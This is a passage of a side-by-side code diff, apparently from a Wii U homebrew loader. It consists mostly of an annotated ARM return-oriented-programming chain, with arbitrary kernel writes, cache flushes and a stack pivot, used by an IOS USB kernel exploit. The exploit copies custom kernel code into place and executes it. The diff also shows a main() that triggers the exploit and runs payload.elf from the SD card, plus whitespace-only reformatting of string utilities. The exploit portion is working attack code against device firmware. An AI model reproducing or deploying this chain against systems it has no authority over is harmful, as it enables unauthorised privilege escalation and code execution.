0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8 0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC} 0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write 0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4 0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC 0x0, // 0xCC
0x0, // 0xD0 0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8 0x0, // 0xD8
0x0, // 0xDC 0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC 0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC} 0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write 0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8 0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100 0x0, // 0x100
0x0, // 0x104 0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C 0x0, // 0x10C
0x0, // 0x110 0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC} 0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4 0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120 0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC} 0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write 0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C 0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134 0x0, // 0x134
0x0, // 0x138 0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140 0x0, // 0x140
0x0, // 0x144 0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154 0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC} 0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write 0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160 0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168 0x0, // 0x168
0x0, // 0x16C 0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174 0x0, // 0x174
0x0, // 0x178 0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP 0x00000000, // 0x150 value: NOP
0x0, // 0x154 0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC} 0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write 0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160 0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168 0x0, // 0x168
0x0, // 0x16C 0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174 0x0, // 0x174
0x0, // 0x178 0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154 0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC} 0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write 0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160 0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168 0x0, // 0x168
0x0, // 0x16C 0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174 0x0, // 0x174
0x0, // 0x178 0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop 0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154 0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC} 0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write 0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160 0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168 0x0, // 0x168
0x0, // 0x16C 0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174 0x0, // 0x174
0x0, // 0x178 0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154 0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC} 0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write 0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160 0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168 0x0, // 0x168
0x0, // 0x16C 0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174 0x0, // 0x174
0x0, // 0x178 0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC} 0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4 0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188 0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC} 0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write 0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194 0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C 0x0, // 0x19C
0x0, // 0x1A0 0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8 0x0, // 0x1A8
0x0, // 0x1AC 0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC} 0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR} 0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188 0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC} 0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write 0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194 0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C 0x0, // 0x19C
0x0, // 0x1A0 0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8 0x0, // 0x1A8
0x0, // 0x1AC 0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-) 0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC 0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC} 0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write 0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8 0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0 0x0, // 0x1D0
0x0, // 0x1D4 0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC 0x0, // 0x1DC
0x0, // 0x1E0 0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0 0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC 0x0, // 0x1DC
0x0, // 0x1E0 0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC 0x0, // 0x1EC
0x0, // 0x1F0 0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC} 0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8 0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200 0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location 0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address 0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210 0x0, // 0x210
0x0, // 0x214 0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0, 0x0,
0x0, 0x0,
0x101312D0, 0x101312D0,
}; };
static const int second_chain[] = { static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC} 0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08 0x0, // 0x08
0x0, // 0x0C 0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC} 0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source 0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length sizeof(final_chain), // 0x18 length
0x0, // 0x1C 0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24 0x0, // 0x24
0x0, // 0x28 0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC} 0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg 0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr 0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize 0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40 0x0, // 0x40
0x0, // 0x44 0x0, // 0x44
0x0, // 0x48 0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50 0x0, // 0x50
0x0, // 0x54 0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C 0x0, // 0x5C
0x0, // 0x60 0x0, // 0x60
IOS_CREATETHREAD, // 0x64 IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority 0x1, // 0x68 priority
0x2, // 0x6C flags 0x2, // 0x6C flags
0x0, // 0x70 0x0, // 0x70
0x0, // 0x74 0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC} 0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C 0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset -(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84 0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0, 0x0,
0x0, 0x0,
0x0, 0x0,
0x00110000 - 0x44, // 0x8C 0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90 0x00110010, // 0x90
0x0, // 0x94 0x0, // 0x94
0x0, // 0x98 0x0, // 0x98
0x0, // 0x9C 0x0, // 0x9C
0x0, // 0xA0 0x0, // 0xA0
0x0, // 0xA4 0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0, 0x0,
0x0, 0x0,
0x1012EA68, // 0xAC stack pivot 0x1012EA68, // 0xAC stack pivot
}; };
static void uhs_exploit_init(int dev_uhs_0_handle) { static void uhs_exploit_init(int dev_uhs_0_handle) {
ayylmao[5] = 1; ayylmao[5] = 1;
ayylmao[8] = 0x500000; ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); memcpy((char *) (0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); memcpy((char *) (0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); memcpy((char *) (0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000; payload_info_t *payloads = (payload_info_t *) 0xF4148000;
payloads->size = sizeof(ios_usb_bin); payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size); memcpy(payloads->data, ios_usb_bin, payloads->size);
@ -319,24 +320,24 @@ static void uhs_exploit_init(int dev_uhs_0_handle) {
pretend_root_hub[78] = 0; pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200); DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain)); DCStoreRange((void *) 0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain)); DCStoreRange((void *) 0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); DCStoreRange((void *) 0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((uint32_t)0xF4180000) - 0xF4148000); DCStoreRange((void *) 0xF4148000, ((uint32_t) 0xF4180000) - 0xF4148000);
} }
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) { static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) {
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 int request_buffer[] = {-(0xBEA2C), val}; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32]; int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
} }
int ExecuteIOSExploit() { int ExecuteIOSExploit() {
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
if(iosuhaxFd >= 0) { if (iosuhaxFd >= 0) {
int dummy = 0; int dummy = 0;
IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy)); IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
@ -349,7 +350,7 @@ int ExecuteIOSExploit() {
//! execute exploit //! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
if(dev_uhs_0_handle < 0) { if (dev_uhs_0_handle < 0) {
return dev_uhs_0_handle; return dev_uhs_0_handle;
} }

View File

@ -27,6 +27,7 @@
#include "ios_exploit.h" #include "ios_exploit.h"
#include "gx2sploit.h" #include "gx2sploit.h"
#ifdef __cplusplus #ifdef __cplusplus
extern "C" { extern "C" {
#endif #endif
@ -37,20 +38,20 @@ extern "C" {
bool CheckRunning() { bool CheckRunning() {
switch(ProcUIProcessMessages(true)) { switch (ProcUIProcessMessages(true)) {
case PROCUI_STATUS_EXITING: { case PROCUI_STATUS_EXITING: {
return false; return false;
} }
case PROCUI_STATUS_RELEASE_FOREGROUND: { case PROCUI_STATUS_RELEASE_FOREGROUND: {
ProcUIDrawDoneRelease(); ProcUIDrawDoneRelease();
break; break;
} }
case PROCUI_STATUS_IN_FOREGROUND: { case PROCUI_STATUS_IN_FOREGROUND: {
break; break;
} }
case PROCUI_STATUS_IN_BACKGROUND: case PROCUI_STATUS_IN_BACKGROUND:
default: default:
break; break;
} }
return true; return true;
} }
@ -69,29 +70,29 @@ int main(int argc, char **argv) {
uint32_t btn = vpad_data.hold | vpad_data.trigger; uint32_t btn = vpad_data.hold | vpad_data.trigger;
bool loadWithoutHacks = false; bool loadWithoutHacks = false;
bool kernelDone = false; bool kernelDone = false;
if((btn & VPAD_BUTTON_ZR) == VPAD_BUTTON_ZR) { if ((btn & VPAD_BUTTON_ZR) == VPAD_BUTTON_ZR) {
loadWithoutHacks = true; loadWithoutHacks = true;
} }
if((btn & VPAD_BUTTON_ZL) == VPAD_BUTTON_ZL) { if ((btn & VPAD_BUTTON_ZL) == VPAD_BUTTON_ZL) {
// In case that fopen check is not working... // In case that fopen check is not working...
WHBLogPrintf("Force kernel exploit"); WHBLogPrintf("Force kernel exploit");
kernelDone = true; kernelDone = true;
DoKernelExploit(); DoKernelExploit();
} }
if(!kernelDone) { if (!kernelDone) {
if(fopen("fs:/vol/external01/wiiu/payload.elf", "r") != NULL) { if (fopen("fs:/vol/external01/wiiu/payload.elf", "r") != NULL) {
WHBLogPrintf("We need the kernel exploit to load the payload"); WHBLogPrintf("We need the kernel exploit to load the payload");
DoKernelExploit(); DoKernelExploit();
} }
} }
if(!loadWithoutHacks) { if (!loadWithoutHacks) {
uint32_t entryPoint = load_loader_elf_from_sd(0, "wiiu/payload.elf"); uint32_t entryPoint = load_loader_elf_from_sd(0, "wiiu/payload.elf");
if(entryPoint != 0) { if (entryPoint != 0) {
WHBLogPrintf("New entrypoint: %08X", entryPoint); WHBLogPrintf("New entrypoint: %08X", entryPoint);
int res = ((int (*)(int, char **))entryPoint)(argc, argv); int res = ((int (*)(int, char **)) entryPoint)(argc, argv);
if(res > 0) { if (res > 0) {
WHBLogPrintf("Returning..."); WHBLogPrintf("Returning...");
WHBLogUdpDeinit(); WHBLogUdpDeinit();
return 0; return 0;
@ -103,20 +104,20 @@ int main(int argc, char **argv) {
ProcUIInit(OSSavesDone_ReadyToRelease); ProcUIInit(OSSavesDone_ReadyToRelease);
DEBUG_FUNCTION_LINE("ProcUIInit done"); DEBUG_FUNCTION_LINE("ProcUIInit done");
if(loadWithoutHacks) { if (loadWithoutHacks) {
DEBUG_FUNCTION_LINE("Load system menu"); DEBUG_FUNCTION_LINE("Load system menu");
// Restore the default title id to the normal wii u menu. // Restore the default title id to the normal wii u menu.
unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0); unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0);
memcpy((void*)0xF417FFF0, &sysmenuIdUll, 8); memcpy((void *) 0xF417FFF0, &sysmenuIdUll, 8);
DCStoreRange((void*)0xF417FFF0,0x8); DCStoreRange((void *) 0xF417FFF0, 0x8);
DEBUG_FUNCTION_LINE("THIS IS A TEST %016llX\n",sysmenuIdUll); DEBUG_FUNCTION_LINE("THIS IS A TEST %016llX\n", sysmenuIdUll);
ExecuteIOSExploit(); ExecuteIOSExploit();
SYSLaunchMenu(); SYSLaunchMenu();
} }
while(CheckRunning()) { while (CheckRunning()) {
// wait. // wait.
OSSleepTicks(OSMillisecondsToTicks(100)); OSSleepTicks(OSMillisecondsToTicks(100));
} }

View File

@ -36,13 +36,13 @@
#include <utils/StringTools.h> #include <utils/StringTools.h>
BOOL StringTools::EndsWith(const std::string& a, const std::string& b) { BOOL StringTools::EndsWith(const std::string &a, const std::string &b) {
if (b.size() > a.size()) if (b.size() > a.size())
return false; return false;
return std::equal(a.begin() + a.size() - b.size(), a.end(), b.begin()); return std::equal(a.begin() + a.size() - b.size(), a.end(), b.begin());
} }
const char * StringTools::byte_to_binary(int32_t x) { const char *StringTools::byte_to_binary(int32_t x) {
static char b[9]; static char b[9];
b[0] = '\0'; b[0] = '\0';
@ -54,25 +54,25 @@ const char * StringTools::byte_to_binary(int32_t x) {
return b; return b;
} }
std::string StringTools::removeCharFromString(std::string& input,char toBeRemoved) { std::string StringTools::removeCharFromString(std::string &input, char toBeRemoved) {
std::string output = input; std::string output = input;
size_t position; size_t position;
while(1) { while (1) {
position = output.find(toBeRemoved); position = output.find(toBeRemoved);
if(position == std::string::npos) if (position == std::string::npos)
break; break;
output.erase(position, 1); output.erase(position, 1);
} }
return output; return output;
} }
const char * StringTools::fmt(const char * format, ...) { const char *StringTools::fmt(const char *format, ...) {
static char strChar[512]; static char strChar[512];
strChar[0] = 0; strChar[0] = 0;
va_list va; va_list va;
va_start(va, format); va_start(va, format);
if((vsprintf(strChar, format, va) >= 0)) { if ((vsprintf(strChar, format, va) >= 0)) {
va_end(va); va_end(va);
return (const char *) strChar; return (const char *) strChar;
} }
@ -81,26 +81,26 @@ const char * StringTools::fmt(const char * format, ...) {
return NULL; return NULL;
} }
const wchar_t * StringTools::wfmt(const char * format, ...) { const wchar_t *StringTools::wfmt(const char *format, ...) {
static char tmp[512]; static char tmp[512];
static wchar_t strWChar[512]; static wchar_t strWChar[512];
strWChar[0] = 0; strWChar[0] = 0;
tmp[0] = 0; tmp[0] = 0;
if(!format) if (!format)
return (const wchar_t *) strWChar; return (const wchar_t *) strWChar;
if(strcmp(format, "") == 0) if (strcmp(format, "") == 0)
return (const wchar_t *) strWChar; return (const wchar_t *) strWChar;
va_list va; va_list va;
va_start(va, format); va_start(va, format);
